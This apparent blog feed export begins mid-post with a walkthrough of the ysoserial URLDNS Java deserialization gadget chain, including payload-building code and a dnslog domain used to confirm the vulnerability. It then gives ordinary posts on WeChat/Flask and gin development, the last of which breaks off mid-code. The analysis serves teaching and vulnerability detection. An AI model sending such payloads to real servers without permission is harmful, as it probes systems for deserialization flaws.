payload creation</span></span><br><span class="line"> <span class="comment">//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.</span></span><br><span class="line"> URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</span><br><span class="line"></span><br><span class="line"> HashMap ht = <span class="keyword">new</span> HashMap(); <span class="comment">// HashMap that will contain the URL</span></span><br><span class="line"> URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler); <span class="comment">// URL to use as the Key</span></span><br><span class="line"> ht.put(u, url); <span class="comment">//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.</span></span><br><span class="line"></span><br><span class="line"> Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>); <span class="comment">// During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> ht;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> PayloadRunner.run(URLDNS.class, args);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.</span></span><br><span class="line"><span class="comment"> * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior</span></span><br><span class="line"><span class="comment"> * using the serialized object.</p></span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <b>Potential false negative:</b></span></span><br><span class="line"><span class="comment"> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the</span></span><br><span class="line"><span class="comment"> * second resolution.</p></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">SilentURLStreamHandler</span> <span class="keyword">extends</span> <span class="title">URLStreamHandler</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> URLConnection <span class="title">openConnection</span><span class="params">(URL u)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title">getHostAddress</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从上述代码中的注释中,我们可以了解到,这个反序列化漏洞跟<code>HashMap</code>类有关。触发反序列化的⽅法是<code>readObject</code>,所以我们可以直接进入到<code>HashMap</code>类的<code>readObject</code>⽅法,然后我们在第41行打断点,进入<code>hash</code>方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>{</span><br><span class="line"> <span class="comment">// Read in the threshold (ignored), loadfactor, and any hidden stuff</span></span><br><span class="line"> s.defaultReadObject();</span><br><span class="line"> reinitialize();</span><br><span class="line"> <span class="keyword">if</span> (loadFactor <= <span class="number">0</span> || Float.isNaN(loadFactor))</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal load factor: "</span> +</span><br><span class="line"> loadFactor);</span><br><span class="line"> s.readInt(); <span class="comment">// Read and ignore number of buckets</span></span><br><span class="line"> <span class="keyword">int</span> mappings = s.readInt(); <span class="comment">// Read number of mappings (size)</span></span><br><span class="line"> <span class="keyword">if</span> (mappings < <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> InvalidObjectException(<span class="string">"Illegal mappings count: "</span> +</span><br><span class="line"> mappings);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (mappings > <span class="number">0</span>) { <span class="comment">// (if zero, use defaults)</span></span><br><span class="line"> <span class="comment">// Size the table using given load factor only if within</span></span><br><span class="line"> <span class="comment">// range of 0.25...4.0</span></span><br><span class="line"> <span class="keyword">float</span> lf = Math.min(Math.max(<span class="number">0.25f</span>, loadFactor), <span class="number">4.0f</span>);</span><br><span class="line"> <span class="keyword">float</span> fc = (<span class="keyword">float</span>)mappings / lf + <span class="number">1.0f</span>;</span><br><span class="line"> <span class="keyword">int</span> cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?</span><br><span class="line"> DEFAULT_INITIAL_CAPACITY :</span><br><span class="line"> (fc >= MAXIMUM_CAPACITY) ?</span><br><span class="line"> MAXIMUM_CAPACITY :</span><br><span class="line"> tableSizeFor((<span class="keyword">int</span>)fc));</span><br><span class="line"> <span class="keyword">float</span> ft = (<span class="keyword">float</span>)cap * lf;</span><br><span class="line"> threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?</span><br><span class="line"> (<span class="keyword">int</span>)ft : Integer.MAX_VALUE);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check Map.Entry[].class since it's the nearest public type to</span></span><br><span class="line"> <span class="comment">// what we're actually creating.</span></span><br><span class="line"> SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);</span><br><span class="line"> <span class="meta">@SuppressWarnings</span>({<span class="string">"rawtypes"</span>,<span class="string">"unchecked"</span>})</span><br><span class="line"> Node<K,V>[] tab = (Node<K,V>[])<span class="keyword">new</span> Node[cap];</span><br><span class="line"> table = tab;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Read the keys and values, and put the mappings in the HashMap</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < mappings; i++) {</span><br><span class="line"> <span class="meta">@SuppressWarnings</span>(<span class="string">"unchecked"</span>)</span><br><span class="line"> K key = (K) s.readObject();</span><br><span class="line"> <span class="meta">@SuppressWarnings</span>(<span class="string">"unchecked"</span>)</span><br><span class="line"> V value = (V) s.readObject();</span><br><span class="line"> putVal(hash(key), key, value, <span class="keyword">false</span>, <span class="keyword">false</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><code>hash</code>方法这里判断了key是否为空,不为空就调用了key的<code>hashCode</code>方法并计算出值,key是一个<code>java.net.URL</code>对象(key的值实际上就是域名),然后我们进入到<code>hashCode</code>方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">int</span> <span class="title">hash</span><span class="params">(Object key)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> h;</span><br><span class="line"> <span class="keyword">return</span> (key == <span class="keyword">null</span>) ? <span class="number">0</span> : (h = key.hashCode()) ^ (h >>> <span class="number">16</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里判断<code>hashCode</code>的值是否为-1,如果不等于-1,就返回<code>hashCode</code>;反之,调用<code>handler</code>(<code>URLStreamHandler</code>对象)的<code>hashCode</code>方法,继续跟进其<code>hashCode</code>⽅法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (hashCode != -<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> hashCode;</span><br><span class="line"></span><br><span class="line"> hashCode = handler.hashCode(<span class="keyword">this</span>);</span><br><span class="line"> <span class="keyword">return</span> hashCode;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><code>URLStreamHandler</code>对象的<code>hashCode</code>⽅法如下,跟进<code>getHostAddress</code>方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">int</span> <span class="title">hashCode</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> h = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the protocol part.</span></span><br><span class="line"> String protocol = u.getProtocol();</span><br><span class="line"> <span class="keyword">if</span> (protocol != <span class="keyword">null</span>)</span><br><span class="line"> h += protocol.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the host part.</span></span><br><span class="line"> InetAddress addr = getHostAddress(u);</span><br><span class="line"> <span class="keyword">if</span> (addr != <span class="keyword">null</span>) {</span><br><span class="line"> h += addr.hashCode();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String host = u.getHost();</span><br><span class="line"> <span class="keyword">if</span> (host != <span class="keyword">null</span>)</span><br><span class="line"> h += host.toLowerCase().hashCode();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the file part.</span></span><br><span class="line"> String file = u.getFile();</span><br><span class="line"> <span class="keyword">if</span> (file != <span class="keyword">null</span>)</span><br><span class="line"> h += file.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the port part.</span></span><br><span class="line"> <span class="keyword">if</span> (u.getPort() == -<span class="number">1</span>)</span><br><span class="line"> h += getDefaultPort();</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> h += u.getPort();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the ref part.</span></span><br><span class="line"> String ref = u.getRef();</span><br><span class="line"> <span class="keyword">if</span> (ref != <span class="keyword">null</span>)</span><br><span class="line"> h += ref.hashCode();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> h;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20210303160820.png" alt="image-20210303160820256"></p><p><code>getHostAddress</code>方法如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title">getHostAddress</span><span class="params">(URL u)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (u.hostAddress != <span class="keyword">null</span>)</span><br><span class="line"> <span class="keyword">return</span> u.hostAddress;</span><br><span class="line"></span><br><span class="line"> String host = u.getHost();</span><br><span class="line"> <span class="keyword">if</span> (host == <span class="keyword">null</span> || host.equals(<span class="string">""</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> u.hostAddress = InetAddress.getByName(host);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException ex) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">catch</span> (SecurityException se) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> u.hostAddress;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里关注第10行的<code>InetAddress.getByName</code>方法,该方法的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。</p><p><img src="http://images.xianyu123.club/20210303160701.png" alt="image-20210303160701587"></p><p>所以整条gadget如下:</p><ol><li><code>HashMap->readObject()</code></li><li><code>HashMap->putVal()</code></li><li><code>HashMap->hash()</code></li><li><code>URL->hashCode()</code></li><li><code>URLStreamHandler->hashCode()</code></li><li><code>URLStreamHandler->getHostAddress()</code></li><li><code>InetAddress->getByName()</code></li></ol><p>要构造这个<code>gadget</code>,第1步需要先初始化⼀个<code>java.net.URL</code>对象,<code>java.net.URL</code>对象作为key<code>java.util.HashMap</code>中。第2步设置这个<code>java.net.URL</code>对象的<code>hashCode</code>为初始值<code>-1</code>(这个<code>hashCode</code>是私有类型,这里涉及到一些反射的知识,不过多赘述),这样反序列化时将会重新计算其<code>hashCode</code>,才能触发到后⾯的DNS请求,否则不会调⽤<code>URL->hashCode()</code>。</p><p>我们可以构造出exp如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> serialize;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">URLDNS</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException </span>{</span><br><span class="line"> HashMap<URL, String> obj = <span class="keyword">new</span> HashMap<URL, String>();</span><br><span class="line"> String dnslog = <span class="string">"http://t6nr49.dnslog.cn"</span>;</span><br><span class="line"> URL url = <span class="keyword">new</span> URL(dnslog);</span><br><span class="line"> Class clazz = Class.forName(<span class="string">"java.net.URL"</span>);</span><br><span class="line"> Field field = <span class="keyword">null</span>;</span><br><span class="line"> field = clazz.getDeclaredField(<span class="string">"hashCode"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> field.set(url,-<span class="number">1</span>);</span><br><span class="line"> obj.put(url,<span class="string">"123"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里我们借助<a href="http://www.dnslog.cn/" target="_blank" rel="noopener">DNSLOG</a>来验证此反序列化漏洞,可以看到成功解析(这里有一个小的tips,大家都知道DNS解析是会在本地留缓存的,所以如果想要重复验证此漏洞,每验证一次就更换一次域名)</p><p><img src="http://images.xianyu123.club/20210303164335.png" alt="image-20210303164335207"></p><p>至于payload中的最后这个类其实无关紧要的,只是<code>ysoserial</code>为了防⽌生成payload的时候也执⾏了URL请求和DNS查询。</p><p><img src="http://images.xianyu123.club/20210303162325.png" alt="image-20210303162325877"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ol><li>Java安全漫谈 - 08.反序列化篇(2)</li></ol>]]></content>
<summary type="html">
<p>从ysoserial中学习URLDNS利用链</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>微信公众号开发遇到的一些坑</title>
<link href="http://0clickjacking0.github.io/2021/02/15/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E5%BC%80%E5%8F%91%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91/"/>
<id>http://0clickjacking0.github.io/2021/02/15/微信公众号开发遇到的一些坑/</id>
<published>2021-02-15T15:45:17.000Z</published>
<updated>2021-02-18T12:19:12.565Z</updated>
<content type="html"><![CDATA[<p>微信公众号开发遇到的一些坑,这里记录一下</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近做了微信公众号的一些简单的开发,我是用flask+flask-Restful开发的,这里记录一下踩的坑。</p><h1 id="坑1——flask-Restful中文返回是unicode问题"><a href="#坑1——flask-Restful中文返回是unicode问题" class="headerlink" title="坑1——flask-Restful中文返回是unicode问题"></a>坑1——flask-Restful中文返回是unicode问题</h1><p>在代码中配置如下就好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">app.config[<span class="string">'JSON_AS_ASCII'</span>] = <span class="keyword">False</span></span><br><span class="line">app.config.update(RESTFUL_JSON=dict(ensure_ascii=<span class="keyword">False</span>))</span><br></pre></td></tr></table></figure><h1 id="坑2——被动回复用户消息,回复文本消息中使用了-n换行符不解析"><a href="#坑2——被动回复用户消息,回复文本消息中使用了-n换行符不解析" class="headerlink" title="坑2——被动回复用户消息,回复文本消息中使用了\n换行符不解析"></a>坑2——被动回复用户消息,回复文本消息中使用了\n换行符不解析</h1><p>这里需要我们返回一个response对象,而不是普通的字符串。因为我是用<code>flask-restful</code>开发的,使用<code>make_response</code>就好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># filename: reply.py</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> make_response</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Msg</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">"success"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 文本消息回复</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TextMsg</span><span class="params">(Msg)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, toUserName, fromUserName, content)</span>:</span></span><br><span class="line"> self.__dict = dict()</span><br><span class="line"> self.__dict[<span class="string">'ToUserName'</span>] = toUserName</span><br><span class="line"> self.__dict[<span class="string">'FromUserName'</span>] = fromUserName</span><br><span class="line"> self.__dict[<span class="string">'CreateTime'</span>] = int(time.time())</span><br><span class="line"> self.__dict[<span class="string">'Content'</span>] = content</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self)</span>:</span></span><br><span class="line"> xmlform = <span class="string">"""</span></span><br><span class="line"><span class="string"> <xml></span></span><br><span class="line"><span class="string"> <ToUserName><![CDATA[{ToUserName}]]></ToUserName></span></span><br><span class="line"><span class="string"> <FromUserName><![CDATA[{FromUserName}]]></FromUserName></span></span><br><span class="line"><span class="string"> <CreateTime>{CreateTime}</CreateTime></span></span><br><span class="line"><span class="string"> <MsgType><![CDATA[text]]></MsgType></span></span><br><span class="line"><span class="string"> <Content><![CDATA[{Content}]]></Content></span></span><br><span class="line"><span class="string"> </xml></span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">return</span> make_response(xmlform.format(**self.__dict))</span><br></pre></td></tr></table></figure><h1 id="坑3——-被动回复用户消息,回复图文消息"><a href="#坑3——-被动回复用户消息,回复图文消息" class="headerlink" title="坑3—— 被动回复用户消息,回复图文消息"></a>坑3—— 被动回复用户消息,回复图文消息</h1><p>这里已经写好了,直接复制用就好了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># filename: reply.py</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> make_response</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Msg</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">"success"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 图文消息回复</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">News</span><span class="params">(Msg)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, toUserName, fromUserName,sourceList)</span>:</span></span><br><span class="line"> self.toUserName = toUserName</span><br><span class="line"> self.fromUserName = fromUserName</span><br><span class="line"> self.CreateTime = int(time.time())</span><br><span class="line"> self.ArticleCount = len(sourceList)</span><br><span class="line"> self.SourceList = sourceList</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">send</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.itemxml = []</span><br><span class="line"> <span class="keyword">for</span> source <span class="keyword">in</span> self.SourceList:</span><br><span class="line"> <span class="comment"># source = [title1, description1, picurl, url]</span></span><br><span class="line"> singlexml = <span class="string">"""</span></span><br><span class="line"><span class="string"> <item></span></span><br><span class="line"><span class="string"> <Title><![CDATA[%s]]></Title></span></span><br><span class="line"><span class="string"> <Description><![CDATA[%s]]></Description></span></span><br><span class="line"><span class="string"> <PicUrl><![CDATA[%s]]></PicUrl></span></span><br><span class="line"><span class="string"> <Url><![CDATA[%s]]></Url></span></span><br><span class="line"><span class="string"> </item></span></span><br><span class="line"><span class="string"> """</span> % (source[<span class="number">0</span>], source[<span class="number">1</span>], source[<span class="number">2</span>], source[<span class="number">3</span>])</span><br><span class="line"> self.itemxml.append(singlexml)</span><br><span class="line"></span><br><span class="line"> xmlform = <span class="string">"""</span></span><br><span class="line"><span class="string"> <xml></span></span><br><span class="line"><span class="string"> <ToUserName><![CDATA[%s]]></ToUserName></span></span><br><span class="line"><span class="string"> <FromUserName><![CDATA[%s]]></FromUserName></span></span><br><span class="line"><span class="string"> <CreateTime>%s</CreateTime></span></span><br><span class="line"><span class="string"> <MsgType><![CDATA[news]]></MsgType></span></span><br><span class="line"><span class="string"> <ArticleCount>%d</ArticleCount></span></span><br><span class="line"><span class="string"> <Articles></span></span><br><span class="line"><span class="string"> %s</span></span><br><span class="line"><span class="string"> </Articles></span></span><br><span class="line"><span class="string"> </xml></span></span><br><span class="line"><span class="string"> """</span> % (self.toUserName, self.fromUserName, self.CreateTime, self.ArticleCount, <span class="string">" "</span>.join(self.itemxml))</span><br><span class="line"> <span class="keyword">return</span> make_response(xmlform)</span><br></pre></td></tr></table></figure><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ol><li><p><a href="https://segmentfault.com/q/1010000009235017#" target="_blank" rel="noopener">flask-restful 中文返回的响应变成了 unicode literal</a></p></li><li><p><a href="https://www.cnblogs.com/chjxbt/p/10500041.html" target="_blank" rel="noopener">微信公众号开发被动回复用户消息,回复内容Content使用了”\n”换行符还是没有换行</a></p></li><li><a href="https://blog.csdn.net/ksearch/article/details/42239863" target="_blank" rel="noopener">用python开发微信图文消息回复系统——新闻检索系统</a></li></ol>]]></content>
<summary type="html">
<p>微信公众号开发遇到的一些坑,这里记录一下</p>
</summary>
<category term="微信公众号开发" scheme="http://0clickjacking0.github.io/categories/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>gin绑定表单数据与结构体遇到坑的一些总结</title>
<link href="http://0clickjacking0.github.io/2021/02/04/gin%E7%BB%91%E5%AE%9A%E8%A1%A8%E5%8D%95%E6%95%B0%E6%8D%AE%E4%B8%8E%E7%BB%93%E6%9E%84%E4%BD%93%E9%81%87%E5%88%B0%E5%9D%91%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/"/>
<id>http://0clickjacking0.github.io/2021/02/04/gin绑定表单数据与结构体遇到坑的一些总结/</id>
<published>2021-02-04T10:55:23.000Z</published>
<updated>2021-02-12T08:05:22.072Z</updated>
<content type="html"><![CDATA[<p>Some summary of gin binding form data and structure encounter pits</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近在公司做某个项目的时候遇到了gin绑定表单数据与结构体的一些问题,困扰了挺久的,终于解决了,在此记录一下。</p><h1 id="坑1-绑定表单字符串数组与结构体"><a href="#坑1-绑定表单字符串数组与结构体" class="headerlink" title="坑1 绑定表单字符串数组与结构体"></a>坑1 绑定表单字符串数组与结构体</h1><p><code>form.html</code></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span 